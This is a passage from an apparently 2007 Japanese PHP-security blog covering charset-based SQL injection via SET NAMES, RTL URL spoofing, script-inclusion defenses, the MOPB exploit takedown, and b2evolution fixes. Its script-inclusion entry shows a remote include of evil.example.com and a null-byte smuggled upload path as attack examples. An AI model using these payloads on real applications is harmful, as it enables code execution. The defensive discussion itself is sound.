+ Z_STRLEN_PP(str),
+ &Z_STRLEN_P(return_value), 0, &secm, Z_SECMARK_PP(str)
+ TSRMLS_CC);
+ RETURN_STRING_SECMARK(res, 0, secm);
+#else
RETURN_STRING(php_addslashes(Z_STRVAL_PP(str),
Z_STRLEN_PP(str),
&Z_STRLEN_P(return_value), 0
TSRMLS_CC), 0);
+#endif
}
マルチバイト環境ではaddslashesによる文字列エスケープは厳禁な(SQLインジェクションに脆弱になる場合がある)ので実装的には不十分です。
GraspはPHP用のtaintモードとして紹介されていますが、Perl, Rubyなどの一般的にtaintモード呼ばれている機能と多少異なります。
http://www.cs.virginia.edu/~evans/pubs/infosec05.html
に記載されているようなtaintモードになっているようです。
# この論文もななめ読み
具体的には
$sql = "SELECT * FROM table WHERE id = ". $id;
mysql_query($sql);
の様なコードでも$idが危険な文字列かつ攻撃コードを含んでいれば、エラーになります。つまり、$sql文字列中の$id部分が安全かどうかチェックできるようになっています。
例えば、
if (ereg("[0-9]+", $_GET['id']) {
$id = $_GET['id'];
}
の様にプログラマのミスにより$idが危険な変数になっていても攻撃が回避できます。
完成度が高くなれば通常のtaintモードとは比べ物にならないくらい安全性の向上が期待できると思います。しかし、パッチを超ななめ読みした感じでは実用的になるまでもうしばらく時間が必要な気がしましたが、順調に開発が進めばかなり便利な機能になると思います。
# 現状の実装だど文字エンコーディングがSJIS等の場合はSQLインジェクション
# と誤検出すると思います。addslashesなので元々SJIS等の事などまったく考慮
# されていなくて当たり前です。マルチバイト文字の事は考えてないようですが
# UTF-8ならそれなりに使えそうです。
SQLインジェクションは対策が簡単ですが、XSSは適材適所で対応が分かれるので精度の高い対策は難しいです。しかし、LDAP/XPATH/XQuery等のインジェクション攻撃は基本的にSQLインジェクションと同じレベルで対応可能です。半年後くらいにまたパッチを見てみよう。
1 コメント
mbstringを使うとmysqlモジュールがmbstringに依存する状態になるので好ましい状態とは言えません。
結局、短期/中期的にはマルチバイト環境に適切に対応することはあまり期待できないと思います。
コメントを残す
URLも右から左に書ける、と言う話
リンク: http://www.tipotheday.com/2007/08/26/wtf-is-this-character/
右から左に書く機能を使ってファイルの拡張子をごまかす方法は有名です。タイトルのリンク先はUTF-8テキストをアドレスバーにコピー&ペーストするとURLでさえ逆向きに表示される、と言う話。私は知らなかったのですがその系に詳しい方には常識だったのかな??
コメントに書いてありますがOSXのFirefoxでは逆向きにならないようです。今私もOSXで書いているので後でWindows/Linuxで試してみます。
見え方にもよりますが、URLでも使えてしまうと「釣ってください」と言っているのと同じ状態なっているかもしれません... どう見えるか後で試してみよう...
追記:
リンク先のブログ本文のテキスト先頭に制御文字らしきものもあるなぁ、とソースを見ると英文を反対方向(右から左)に書いているのですね(笑
アドレスバーに制御文字を入れてから入力するとOSXのFirefoxでもLinuxのFirefoxでも反対方向にタイプされていきます。つまり、testと入力するとtsetになります。ステータスに表示されるURLを反対方向から表示するブラウザがあると困りますが、当たり前に反対から表示しそうな気がします... 後で試そう...
フィードバックはまだありません...
コメントを残す
2.5' HDDで320GB
リンク: http://pc.watch.impress.co.jp/docs/2007/0821/toshiba.htm
仮想環境を使ったり、マルチブートにするとどうしてもHDD容量が必要になります。今のノートPCは160GBのHDDですがかなり手狭です。200GB/7200rpmのHDDもよさそうですが熱そう。
フィードバックはまだありません...
コメントを残す
SET NAMESは禁止
MySQLには文字エンコーディングを変更する「SET NAMES」SQL文が用意されています。(PostgreSQLも同様のSQL文、SET CLIENT_ENCODINGがあります)この機能はSQLコンソールからは使ってよい機能ですが、アプリケーションからは使ってはならない機能です。SQLインジェクションに脆弱になる場合があります。
Ruby on Railsの本を読んでいて、ActiveRecordを説明している部分にMySQLの文字エンコーディングを変更する場合の例としてSET NAMESが利用されていました。アプリケーションからはSET NAMESは使ってはならない事を周知させるのは結構時間が必要かなと思いました。
PHPも5.2の途中からMySQLモジュールにlibmysqlの文字エンコーディング設定APIのラッパー関数が追加されていたりするので、たまたま最近読んだRoRの本だけでなく、多くの開発向け情報ソースにSET NAMESを利用した例が載っていると思います。
ストアドプロシージャだけ使っていれば安全ですが、アプリケーションからDBMSの文字エンコーディングを設定する場合、SQL文ではなく必ず文字エンコーディング設定APIを利用するよう紹介しなければならないです。MySQL4はストアドプロシージャが使えないので、フレームワークなどではエミュレートしています。ストアドプロシージャだけ使って防御している「つもり」で防御になっていない場合もあります。これもフレームワークを使っていてもアプリケーションが脆弱になる良い例ですね。
脆弱性の説明は面倒ですが注意事項は簡単です。「DBMSをアプリケーションから利用する場合、文字エンコーディング設定は必ずAPIを利用する」つまり「SET NAMES(SET CLIENT_ENCODING等も)は禁止」です。
18 コメント
# と書いておかないと困る方もいるかもしれないので念のため。
特にアプリ側でUTF-8を使っていて、DB側では他のコードを使っていると、バインド機能使っていても攻撃が成立することが場合によってはあるみたいです。
このエントリの脆弱性の理由って、このあたり
http://blog.ohgaki.net/index.php/yohgaki/2006/02/13/addslashesa_la_a_a_ua_sa_pa_fa_a_bc_a_ma#comments
と関連してると思うのですが。
で、PHPの標準MySQL関数ってクライアントのエンコーディングを設定する関数がないですよね。MySQLi使えればありますが、普通のレンタルサーバでは入れてないかと思います。
ということは、
MySQL5+PHP5+MySQLi
でない限り、使うなってことでしょうか?多くのPHPユーザーの現実に反している気がします。
実はPHP5.2.3には追加されています。セキュリティフィックスなのでPHP4.4ユーザにも提供されるべきなのですがまだです... 追加されてリリースされるのか分かりません。
PHP 4.4向けにバックポートしたパッチを書こうかな、と思っていますが時間がない.......
PostgreSQL でも 7.3 までは psql で使ってはいけないコマンドでした。代わりに psql の \encoding ディレクティブを使います。
7.4 からは SET CLIENT_ENCODING を psql が認識して内部エンコーディングを変更するようになりました。
私が書くまでもなく探せば見つかると思いますが、参考になるURLとしては
http://www.postgresql.org/docs/techdocs.50
などがあります。PostgreSQLの文書ですがMySQLでも同じです。MySQLの接続構造体にもencodingを保持するメンバがあり、PostgreSQLの文字エンコーディング設定/エスケープAPIで同じような使われ方としています。
テストケースは私もセミナーで話をした事があるので私のスライドも見つかるかも知れませんが上記のURLの方が詳しく解説しているハズなので参考になると思います。
実は、Xoopsのモジュールを作成していて、
文字コードを「SET NAMES」で指定したい
場面が生じてしまいました。
そこでもう少し詳しく確認したいのですが、
よろしいでしょうか。
ご指定のサイト
http://www.postgresql.org/docs/techdocs.50
にアクセスしたところ、
http://wiki.postgresql.org/wiki/Main_Page
に飛んでしまいました。
そこで、問題の「SET CLIENT_ENCODING」で
検索したところ、それらしい記事では
「SET NAMES」とかによる文字コードの設定
というよりも、「SJIS, BIG5, GBK, GB18030,UHC」
とかでのエスケープ処理の問題ばかりが
でてきました。
http://wiki.postgresql.org/wiki/8.1.4_et._al._Security_Release_Technical_Info
http://wiki.postgresql.org/wiki/8.1.4_et._al._Security_Release_User%27s_Guide
そして同様の検索ででてきたFAQ
http://wiki.postgresql.org/wiki/8.1.4_et._al._Security_Release_FAQ
では、正規表現やaddslashes()やmagic_quotesで
エスケープしても、問題がでてくる、と書いてありました。
そして解決法として、
1. pg_escape_string() (but look for a driver update soon)
2. PEAR-DB (safe against this exploit, but may be vulnerable to future issues as it uses ad-hoc escaping)
3. NOT PEAR-MDB2 (according to the PEAR development team, MDB2 is currently using a custom escape routine which is currently unsafe. Expect an update next week.)
4. PDO
5. If you're using magic_quotes_gpc, test using magic_quotes_sybase instead (and plan a refactor -- magic_quotes will not be in PHP 6.0)
が挙げられていて、新しいものならば
pg_escape_string() で処理しても
よさそうに読めてしまうのですが・・・。
ですので、yohgakiさんのおっしゃる
「SET NAMESは禁止」というのは、「一人の
開発者がaddslashesとかで
エスケープ処理をしている場合、
別の開発者が知らないところで、
「SET NAMES」を使ってSJISとか問題のある
文字コードに変更するロジックを入れてしまう際に
問題が生じるので、「SET NAMES」の
利用には注意すること」と
いうことで、よろしいでしょうか。
また、上でも書きましたとおり、Xoopsですので
MySQLなのですが、mysql_real_escape_stringは、
エンコーディングを考慮したエスケープを
してくれるそうなのですが、これを
大丈夫ということで、よろしいでしょうか。
SET NAMESによって文字エンコーディングを変更するとC言語などで書かれたエスケープAPI (libmysql, libpqなど)が想定しているエンコーディングと実際のエンコーディングが異なる状況が発生します。この違いにより、環境によっては文字エンコーディングを利用したSQLインジェクション攻撃が可能になります。
つまり、APIによって文字エンコーディング情報を変更しないと接続情報が更新されず、エスケープAPIを利用していても正しくエスケープできない場合発生する、ということです。
SET NAMES, SET CLIENT ENCODINGを利用しないで、mysql_set_charset, pg_set_client_encodingを利用すれば、このような不整合が発生しないので問題も発生しなくなります。
SET NAMES等を使っても安全な場合もあります。それは元々接続がSJISだった場合です。ISO8859-1だった物をSET NAMESでSJISに変更してしまうとmysql_real_escape_stringを利用していてもSQLイジェクションが可能になります。
addslashesによるエスケープは論外です。絶対に行ってはなりません。
>エスケープAPI (libmysql, libpqなど)が想定しているエンコーディング
ということとの関連ですが、
新しく見つけたサイト
http://d.hatena.ne.jp/t_komura/20060122#1137944280
によると、むしろ「SET NAMES」を
使用して、「SET NAMES binary」と設定
して、エスケープを必ず専用エスケープ
関数(mysql_real_escape_stringなど)
で行うことで問題を回避する、
という手法があるそうです。
上のような手法が有効なのはやはり、
binaryならば基本的にどんな状態の
APIでも想定しているから、
ということでしょうか?
1. pg_escape_string() (but look for a driver update soon)
2. PEAR-DB (safe against this exploit, but may be vulnerable to future issues as it uses ad-hoc escaping)
3. NOT PEAR-MDB2 (according to the PEAR development team, MDB2 is currently using a custom escape routine which is currently unsafe. Expect an update next week.)
4. PDO
5. If you're using magic_quotes_gpc, test using magic_quotes_sybase instead (and plan a refactor -- magic_quotes will not be in PHP 6.0)
少なくとも、5の対策は対策と呼ぶには十分とは言えません。sybaseはSQL準拠のエスケープ方式だったのでaddslashesでも'は'', nullは¥nullにエスケープしています。しかし、文字エンコーディングを考慮していないので壊れた文字エンコーディングを作って攻撃する事も可能です。
# 対策済みのPostgreSQLならこのタイプの壊れた文字エンコーディング
# をすべて検出できるので、これでも大丈夫とも言えます。スラッシュ
# でエスケープする変わりに'でエスケープされる様になることは解説
# してあるのか気になっています。
> http://d.hatena.ne.jp/t_komura/20060122#1137944280
> によると、むしろ「SET NAMES」を
> 使用して、「SET NAMES binary」と設定
> して、エスケープを必ず専用エスケープ
> 関数(mysql_real_escape_stringなど)
> で行うことで問題を回避する、
> という手法があるそうです。
これは対策になりません。不正な文字エンコーディングでもデータベースに登録できるようになるだけです。
SQLインジェクションだけ防いでも意味が在りません。不正な文字エンコーディングはHTML/XML/JavaScriptインジェクション等にも利用できるからです。絶対にこのような運用はしてはなりません。
- APIを利用して文字エンコーディングを設定
- APIを利用して文字列をエスケープ
すれば良いだけです。もし、自分が使っている言語のライブラリにこれらの関数がないなら、セキュリティ上の脆弱性問題としてレポートして対処してもらうのが一番です。
このエントリではデータベースとアプリケーションの間でのセキュリティ対策を解説しているので、
- APIを利用して文字エンコーディングを設定
- APIを利用して文字列をエスケープ
を対策として紹介しています。多重のセキュリティ対策の意味もあるので、全ての入力の文字エンコーディングをチェックしていてもデータベースとアプリケーション間でもこれらを使って処理すべきです。また条件によっては攻撃可能な状態も発生します。e.g. SJIS文字列をaddslashesでエスケープ
全てのプログラマにどのような状態の時に攻撃可能となるか、解説してもらい、理解して、実践してもらうのは無理があります。
最も確実かつ簡単な方法(APIを利用した文字エンコーディング設定とエスケープ。実装は簡単ではないかもしれませんが)を採用するのが一番良いと思います。
私自身も論点をぶらすような投稿を
少ししてしまったようなので、
論点を整理すると、「SET NAMESは禁止」
という論題で特に問題になるのはむしろ、
「中途半端にAPIを利用して、セキュリティー
ホールをつくってしまう」という
ことでしょうか。
問題になるケースというのは、一見して
非常に安全に見える「文字コードを考慮した
エスケープをしてくれる関数」
(mysql_real_escape_stringやpg_escape_stringなどで
特に旧いバージョンのもの)を利用したけれども、
「SET NAMES」や「SET CLIENT ENCODING」
で文字コードを変更する
場合ということですよね。
この場合には、例えば
mysql_real_escape_stringで考慮されている
文字コードと入ってくるデータが食い違って
しまって、エスケープの関数がざるになる
ケースがある。そして、「SET NAMES sjis」
した場合では問題の実例も報告されている。
==================
例
---SET NAMES---
DB接続直後のデフォルト状態
実際のコード ujis、API想定コード ujis
↓
「SET NAMES sjis」を実行
実際のコード sjis、API想定コードujis
↓
エスケープ関数実行
入ってくるデータはsjisだが、ujisの基準で
エスケープ。結果、攻撃が可能に
---APIで変更---
DB接続直後のデフォルト状態
実際のコード ujis、API想定コード ujis
↓
「mysql_set_charset(sjis)」を実行
実際のコード sjis、API想定コードsjis
↓
エスケープ関数実行
入ってくるデータはsjisで、sjisの基準で
エスケープ。(万々歳)
(上のようなことを考えると例えば、
http://php.morva.net/manual/ja/function.mysql-set-charset.php
にあるJanez R.さんのような運用は、
問題がある。)
====================
ここで問題になってくるのが、mysql_set_charset
がPHPの5.2.3以降となっているところで、
これより旧いバージョンで運用している
ところが多い(pg_set_client_encodingは
結構古くからある)。
ということで、仕方なく「SET NAMES」を使う
場合があるのですが、この場合には開発者間
できちんを申し合わせをしておく必要がある。
実際に問題のあるな実例が
確認されているのは、「SET NAMES sjis」あたり。
(http://wiki.postgresql.org/からすると、
utf8とかならば、安全でしょうか。)
そして、
http://d.hatena.ne.jp/t_komura/20060122#1137944280
の対策は、SQLインジェクションは防げても、
登録データに変なものが入りやすくなってしまう。
よって、登録されたデータを活用する際に
セキュリティーのための手間をかけなくては
ならないので、
可能であれば断然「APIで文字コード変更+
APIでエスケープ」がよい。
お話をまとめると、上のような感じでしょうか。
はい。
普段MySQLを利用していないので指摘いただくまで忘れていました。mysql_set_charsetは新しい関数なので、古いPHP(ホスティング環境など)ではアップグレードが出来ないです。
SET NAMESを利用していても、安全に運用したい方は以下のようにすればよいと思います。PHP以外の言語を利用されている方でも意味を理解いただければ、同じように対策できるはずです。
■EUC-JPかUTF-8エンコーディング
この場合は話は簡単で入力時点で文字列がEUC-JPまたはUTF-8で正しくエンコーディングされているかチェックするだけです。アプリケーションの入力チェック処理としてmb_check_encoding(無い場合はmb_convert_encoding)を利用して文字エンコーディングが正しいかチェックすれば大丈夫です。そのまま、mysql_escape_stringを使ってエスケープすればほとんどの環境で大丈夫だと思います。
# 例えば元のエンコーディングがISO-8859-1で
# EUC-JP, UTF-8に変更した場合は安全。
蛇足ですが、文字エンコーディングのチェックはWebアプリケーションセキュリティ対策の基本です。例えば、htmlspecialchars/htmlentitiesが不正なマルチバイト文字に対して脆弱な問題が最近修正されていますが、入力チェックで文字エンコーディングが正しいかチェックしれていれば問題ありません。libxml2等よく利用されているライブラリにも文字エンコーディング関連の脆弱性が発見されていますが文字エンコーディングが正しければ影響を受けないものがほとんどです。
■SJISエンコーディング(その1)
この場合、文字エンコーディングに配慮した置換ができる関数でエスケープするしかありません。例えば、mb_regex関数を利用して\と'をエスケープする自前の関数を作成して利用します。(マニュアルを見ないで書いています。mysqlでエスケープが必要な文字はMySQLマニュアルを参照してください)
このエスケープ処理を行うだけでは壊れた文字エンコーディング攻撃に脆弱になるので、アプリケーション全体の入力チェック処理として、文字エンコーディングが正しいか確認する処理も追加します。
■SJISエンコーディング(その2)
komuraさんのブログに書かれている通り、EUCやUTF-8にはSJISにある問題が無いです。なので以下の対策も有効です。
> 非効率ですが、データベースの文字コード
> が Shift_JIS でも、クライアントの文字
> コードを EUC-JP にして、SQL 文を EUC-JP
> に変換してから発行することは可能だと思
> います。
文字列をmb_convert_encoding関数でSJISからEUCかUTF-8に変換し、変換後にmysql_escpae_stringでエスケープ処理行い、エスケープ済み文字列をまたSJISに変換してデータベースに送信すればSQLインジェクション出来なくなります。
他の対策同様、アプリケーションレベルでの文字エンコーディングチェックも行うべきです。
セキュリティの専門知識が無い方も居るとは思いますが、万人向けではないので関連知識の解説を全てのエントリで行う事は無理なのでご理解ください。
良く分からなくても「アプリからのSET NAMESは禁止」と覚えておくだけで十分です!
コメントを残す
意図が伝わってないのかな?
リンク: http://gihyo.jp/dev/serial/01/php-security/0008
「なぜPHPアプリケーションにセキュリティホールが多いのか?」をテーマにした技術評論社のブログ風の記事を書いています。
一番新しい
http://gihyo.jp/dev/serial/01/php-security/0008
ですが、自分で防いだつもりのセキュリティホールは実は防いだ事になっていなかった、アプリケーションが多く在りました。というより今でも作り続けられています。原因は「サニタイズ」による脆弱性の回避であるものが多いです。なので「サニタイズ」ではなく「バリデーション」と「適切なエスケープ」によって対策すべきです、と書きたかったのですが「エスケープ」の部分を書いてないですね。バリデーションの時に説明するつもりですが、確かに尻切れとんぼのような感じです。
編集の方からこんな感じなのですがどうなんでしょう?メールが来ていました。
http://b.hatena.ne.jp/entry/http%3A//gihyo.jp/dev/serial/01/php-security/0008
と言う感じで何やら否定的なコメントが多いようです。
最初に
今回は熟練したWebアプリ開発者なら常識のクロスサイトスクリプティング対策の落とし穴を紹介します。
と書いているのですがどうも「熟練のWebアプリ開発者なら常識」としている前提が伝わっていなかった?のか記事自体に問題がある?のか理由がいまいち分かりません。
ブックマークしている方を見るとセキュリティ系で有名な方もいます。初心者向けのブログなのであまり一般受けしないエントリはこのブログの方が多はずです。(と言ってもこちらにもあまり役に立つことはあまり書いてませんが)いまいち理由がよくわからないのでもし知っている方教えてください。
2 コメント
よく読み直したらそのうち追加されることが分かりますが、ざっと読むと枕だけで終わってしまっている印象が強いです。
コメントを残す
スクリプトインクルード問題の根本的解決策
スクリプトインクルード問題には2種類の問題があります。一つはリモートスクリプトインクルード、もう一つはローカルスクリプトインクルード
デフォルト設定のPHP 5.2はURL形式のファイルをスクリプトとして実行できなくなりました。つまり
include('http://evil.example.com/attack.php');
の様なコードは実行できなくなり、頻繁にレポートされる「リモートスクリプトの実行」が可能な脆弱性はデフォルト設定では発生しなくなりました。
しかし、PHP 5.2以降でもPHPプログラムはファイルにコードを埋め込む形式でプログラムを記述しなければなりません。アップロードされたローカルファイルをスクリプトとして実行するのは非常に簡単です。入力ファイルのバリデーションを行っても、全てのファイルからコードを取り除くのは簡単ではありませんし、現実的でない場合もあります。PHPは他の言語と異なり「コードを埋め込む形式」であるために、”ローカル”スクリプトインクルードがセキュリティ上の問題となる可能性が残されています。
PHPアプリでスクリプトインクルードがセキュリティ上の問題として度々取り上げられる原因は、PHPが「コード埋め込み型」でスクリプトを実行していることにあります。「コード埋め込み型」でスクリプトを実行していなければ他のスクリプト型言語を同等レベルにまでローカルスクリプト実行脆弱性を軽減することができます。
「デフォルト状態でのリモートスクリプトの実行機能」はあきらかにPHPにとって負の遺産でした。同じように「デフォルト状態でのコード埋め込み型のスクリプト」も負の遺産だと思っています。最近のPHPプログラムはコードとHTMLは分離され、埋め込み型である必要性があるのはテンプレートくらいになっています。多くの他のスクリプトファイルはプログラム以外のデータを埋め込む必要が全くないコードになっています。にもかかわらず「コードの埋め込み型のスクリプト」をデフォルトとして意図しないローカルスクリプトの実行に対して脆弱でありつづける必要はありません。
スクリプトインクルード問題対策には、まず「埋め込み型スクリプト」が保存されたディレクトリを指定し、それ以外はコードの埋め込みを許可しないように仕様変更が必要です。これによりユーザから送信された画像や圧縮ファイル、テキストファイルを誤ってスクリプトとして実行してしまう事態をかなり回避できるようになります。
パッチの作成は割と簡単です。埋め込みモードでスクリプト実行するディレクトリを保存するためのphp.ini設定を追加します。PHPがスクリプトファイルをコンパイルする場合、設定されたディレクトリ以外はパーサの初期状態をST_IN_SCRIPTINGに設定し、終了タグが現れても無視します。古いPHPとの互換性維持のため開始タグが現れても無視する様にすれば、既存のライブラリファイルもそのまま使えます。
ユーザが任意データをアップロード可能なアプリケーションに仮にローカルスクリプトインクルードに脆弱なコード
include($_GET['module_name'].'.php');
が在ったとしても, $_GET['module_name']にアップロードしたファイル名を設定して
include("/www/upload/evil.gif¥0.php");
のようなリクエストを送信しても、画像形式を適切にバリデーションしていれば"/www/upload/"に保存された画像ファイルをスクリプトとして実行されてしまう危険性を大幅に低減できます。
意図しないスクリプトインクルードされる問題を確実に回避するは埋め込みモードでスクリプトを実行するディレクトリだけでなく、通常モードでスクリプトを実行するディレクトリも指定できるようにします。こうすればこれらのディレクトリへの書き込みを適切に制限していればスクリプトインクルードによる攻撃を防ぐ事ができます。
パッチ作成は割と簡単です。欲しい方います??
2 コメント
他の言語で同じように実装するならスクリプトとして実行するディレクトリを指定する特別な定数を設定して、読み込もうとしているスクリプトファイルが設定されたディレクトリ以外ならエラーにする、方法が考えられます。
script_dir=abs_path1:abs_path2
このパス以外のスクリプト実行はエラーするパッチの方が受け入れられ易いかもしれませんね。
CLIなどの場合、スクリプトの開始に
<?php
を書かずに済む方が良いような気がするのでエントリのような方法を考えました。(好みの問題ですが)
コメントを残す
データバインディングを利用したXSS対策
少し前にクライアントサイドでXSS対策(Failsafe対策)をする方法を紹介しましたが
http://blog.ohgaki.net/index.php/yohgaki/2007/08/01/a_ma_ca_ca_ca_sa_a_ma_ca_a_sa_rxssamfcs
こちらはサーバサイド(データをバインディングする方法)も使ってXSS対策する方法です。
http://www.wisec.it/ph/test.php
一般的にお勧めできる方法とは言えませんが、XSS対策としては面白い方法です。この手法の良い所はもれなく対策でき、対策が行われている事を簡単に検証できる点です。悪い所はXSS対策にJavaScriptを使っている、検索エンジンに不親切、NoScriptユーザに不親切などがあります。
テストページのコメントにも書いてありますが、クライアント側での対策であり対策の有効性はクライアントの実装に影響されます。このため完全に防御できないケースもあります。
フィードバックはまだありません...
コメントを残す
MOPBの攻撃コードサンプルが削除される
リンク: http://blog.php-security.org/archives/91-MOPB-Exploits-taken-down.html
ドイツで他人のコンピュータを攻撃するソフトウェアの公開などを禁止する法律が施行されたためMOPBの攻撃コードが削除されました。
ダウンロードリンクは在りますがダウンロードしたファイルの中身は以下のようになっています。
Dear Visitor,
since Friday 10th, August 2007 a new and very troubling law is enforced in germany.
It is no longer legal to create and/or distribute so called hacking tools in germany. This includes port scanners like nmap, security scanners like nessus or simple proof of concept exploits like the MOPB exploits. They are now illegal because someone COULD use them to commit crimes.
Until today I had hoped that our Bundespresident would stop this insane law with a last minute veto, but now it is official and our government has rendered germany more or less defenseless against the threats from outside germany.
Unfortunately our government has been deaf to the warnings from lots of experts that tried to explain how important these so called hacking tools are not only for the current generation of security consultants to do their daily job, but also how important they are for the education of the next generation of researchers and consultants.
If you do not know how to attack, you will never know how to defend yourself.
Yours,
Stefan Esser
オープンソース、商用問わず脆弱性を検査するソフトウェアは多数ありますがこれらの扱いはどうなっているのか興味深いです。
# WatchFireは非合法会社!?なのか、など。
数々のMonth of Bugsプロジェクトによりソフトウェアの脆弱性は公開する事により改善する事が証明されてきました。Stefan氏が指摘しているようにどのように攻撃されるか知らないとどのように防御するのか理解できません。脆弱性を隠せば隠すほど悪人たちに悪用されるリスクが高くなります。法律を作成した方たちは隠せば状況が良くなると勘違いしているのでしょう...
日本の場合も中学生でもできるような単純な攻撃に脆弱なWebサイトが数えきれないほど運用されています。これも法律のせいですね...
私は全ての攻撃コードをダウンロードしているので欲しい方はコメントに書いてください。ニーズがあればどこかに公開します。
フィードバックはまだありません...
コメントを残す
PHP 5.2.4
ご存知の方も多いと思いますがPHP 5.2.4のリリースが近いです。しばらく前にRC1が出ています。
どのWebアプリケーションもですがインフラとなるソフトウェアのバージョンアップをどう行うか定めておかなければなりません。オープンソースの場合、いつでもソースコードのリポジトリから開発版が利用できるので開発版を利用してアプリケーションの動作に支障が無いかテストできます。
しかし、普通は開発版で常に動作テストは行えません。次のバージョンがリリースされる前にしばらくの間RC版(Release Candidate版)がテスト用に配布されます。RC版の間であればクラッシュバグや意図的でない動作仕様の違いなどをバグレポートとして提出すればリリース前に修正される可能性が高くなります。パッチを付けて送付すれば適用される可能性も高くなります。RCで動作テストを十分行っていればリリースされた場合にセキュリティフィックスが含まれいても慌てることはありません。
大規模にシステムを運用している会社であればRC版からの動作テストのメリットは非常に多いです。RC版からの動作テスト&フィードバックを強くお勧めします。
フィードバックはまだありません...
コメントを残す
パッチを提供すべきか、移行すべきか、自分で作るか...
このブログを利用し始めた当時、b2evolution以外でユーザからの入力をホワイトリスト方式でチェックしているアプリが見つからなかったので採用しました。しかし、最近のバージョンは日本語環境での利用には問題があります。ハイパーリンクを付けるとそれ以降が表示されない、ロケールの処理に問題があり文字化けする、等です。
この問題に対応するためには
- パッチを提供
- 別のアプリに移行
- 自分で作る
のオプションを考えています。
パッチを提供する場合、直したい個所(というより設計レベルでの変更)が沢山あります。コミュニティに貢献するにしても思っている方向性にプロジェクトを誘導するのはかなり骨が折れる作業になると思います。
# とは言っても結構長い間(2004年以降)お世話になっているの
# で貢献するオプションも捨てがたいです。
そこで別アプリ、と言う事でserendipityを見てみました。古いバージョンのb2evolutionからの移行するプラグインも付いていたので、多少手直しすれば移行できそうでした。しかしserendipityにはトラックバックを無効にするオプションが無いです。簡単にトラックバックを無効にするように修正できますがバージョンアップの度にパッチするのも面倒です...
最後のオプションは自分で作る、ですがこれだけいろいろブログアプリがある中、自分で作るのもいかがな物かと考えてしまいます。暇であれば作っても良いですが、全然暇が無い状態なのでなおさらです。
さて、どうしたものか....
5 コメント
PLUGIN_EVENT_TRACKBACK_TRACKALL
はい いいえ
PLUGIN_EVENT_TRACKBACK_TRACKOWN
はい いいえ
Proxy Host
Proxy Port
Proxy User
Proxy Password
上鍵さんの翻訳が追いついていないので英語表記のみですが、たぶん「PLUGIN_EVENT_TRACKBACK_TRACKALL」で制御していると思います。
私は「はい」にしているので、ブロックについては未検証ですが。
ご存知の上に検証済みの場合、お詫び申し上げます。
単にモデレート待ちになるようです。
私のは諸事情で少し古めのs9yなので、新しいバージョンのdiffも確認しましたが、やはり“無効”とはならないようです。
http://php-blog.cvs.sourceforge.net/php-blog/additional_plugins/serendipity_event_trackback/
ガセ情報、申し訳ございませんでした。
ガセの上塗りをしていました…。
PLUGIN_EVENT_TRACKBACK_TITLE は自分から発射するトラックバックの制御です。
送られてきたトラバを無効にする機能はやはり見当たらないようです。
正規表現や単語登録ではじく以外なさそうです。
申し訳ございませんでした。
使ってみないと分からない事は沢山あるので「これが使えるかも」といった情報も役に立つと思います :)
コメントを残す
メモリを解析して脆弱性を自動的に検出、攻撃コードを作成するツール
リンク: http://www.immunitysec.com/index.shtml
オープンソースのセキュリティツールで有名(?)なImmunityのDebuggerが結構話題になっている。他にもいろいろ紹介されているようですがeWeekの記事が分かりやすい。
http://www.eweek.com/article2/0,1895,2166829,00.asp
Debuggerはヒープやスタックメモリを自動的に解析して脆弱性を検出し、ほぼ自動的に攻撃コードを作成することもできるようです。攻撃コードの作成時間を50%削減できるとしています。
http://www.immunitysec.com/products-immdbg.shtml
一時的には0day攻撃が増える事が予想されますが脆弱性検査が容易になる、特に機械的検出できるような脆弱性検査が容易になる、のは良い事だと思います。
フィードバックはまだありません...
コメントを残す
HTTP_ACCEPT_CHARSET/HTTP_ACCEPT_LANGUAGEの取り扱いバグ
b2evolutionをいい加減アップグレードしておかないと問題があっても困るのでアップグレードしました。HTTP_ACCEPT_CHARET/HTTP_ACCEPT_LANGUAGE処理の不具合がまだなおっていないようです... 日本語のように単語区切りがない言語(または正規表現の文字エンコーディング設定)の不具合も直っていないようです。
昨日から今日までMac版のFirefoxなら正常に表示、Win版だとISO-8859-1になって文字化けしていました。(多分IEも同様だったはず)
文字列の比較はできるかぎり厳密に行う方が良いですがHTTP_ACCEPT_CHARSET/HTTP_ACCEPT_LANGUAGEの比較では大文字/小文字を無視した方が無難だと思います。Win版Firefoxがへんな値に設定しているとは思いますが、統計アプリなどでみるとかなり変わったエンコーディング名になっている場合もあるようです。
エンコーディングをUTF-8で統一しているなら
conf/_locales.phpを以下に設定し
$evo_charset='utf-8';
$force_io_charset_if_accepted='utf-8';
$db_config['connection_charset']='utf-8';
$default_locale='ja-JP';
必要ないような気もしますがこのファイルに定義してあるlocaleでiso-8859-1エンコーディングは全てutf-8に変更しました。
inc/MODEL/settings/_locale.funcs.phpのinit_charset関数でなにもせずにreturn
function init_charset( $req_io_charset )
{
return;
すれば文字化けは解消します。
追記:
これでもISO-8859-1になって文字化けするケースがありますね... 時間がないので場当たり対処策としてindex.phpの最後に
header('text/html; charset=UTF-8');
を追加しました。ロケールの処理にはいろいろ問題があるようです。どこかで無理矢理ISO-8859-1にするくらいならデフォルトUTF-8にしておけば良いと思います。
さらに追記:
上記の変更を行うとRSSフィードのXMLエンコーディングの部分が空になり、XMLエラーとなってRSSリーダが処理できない不具合が発生する事が分かりました。ソースを見れば一目瞭然で文字エンコーディングを指定する変数が空であることが原因でした。
conf/_basic_conf.phpに
$io_charset='utf-8';
を追加すると直ります。アップグレードマニュアルにはこのファイルは前のファイルで上書きするように、と書いてあったのですが追加設定が必要だったのかも。
フィードバックはまだありません...
コメントを残す
Mac miniがCore2Duoに
リンク: http://japan.cnet.com/news/tech/story/0,2000056025,20354349,00.htm
新iMacのアナウンスと同時にMac miniのCPUがCore2Duoになる事が明らかになったようです。
新モデルは「Core 2 Duo」を搭載した。599ドルモデルは1.83GHzの「Core 2 Duo T5600」を、799ドルモデルは2.0GHzの「Core 2 Duo T7200」を搭載している。
OSは10.5はファミリーパックで買うのでリリースまで待つ必要ないし、これでやっとMac miniが買える :)
フィードバックはまだありません...
コメントを残す
IT技術者は高収入だが満足度が低い
リンク: http://enterprisezine.jp/article/detail/77
イギリスはこの手の統計が好きなのか、私がたまたまイギリスのこの手の統計情報を見かけているのか収入と満足度の調査結果によると81種に分けた業種中、IT技術者は満足度が66位だそうです。以前に見かけた統計でも同じような結果でした。
収入の平均は4万ポンドを超えるそうなので日本円にすると964万円( http://quote.yahoo.co.jp/m5?a=40000&s=GBP&t=JPY )だそうです。アメリカのプログラマの平均年収が8万ドルだったと思うので日本円にすると953万円( http://quote.yahoo.co.jp/m5?a=80000&s=USD&t=JPY )と収入はほぼアメリカ並み(?)と言えるのかも知れません。
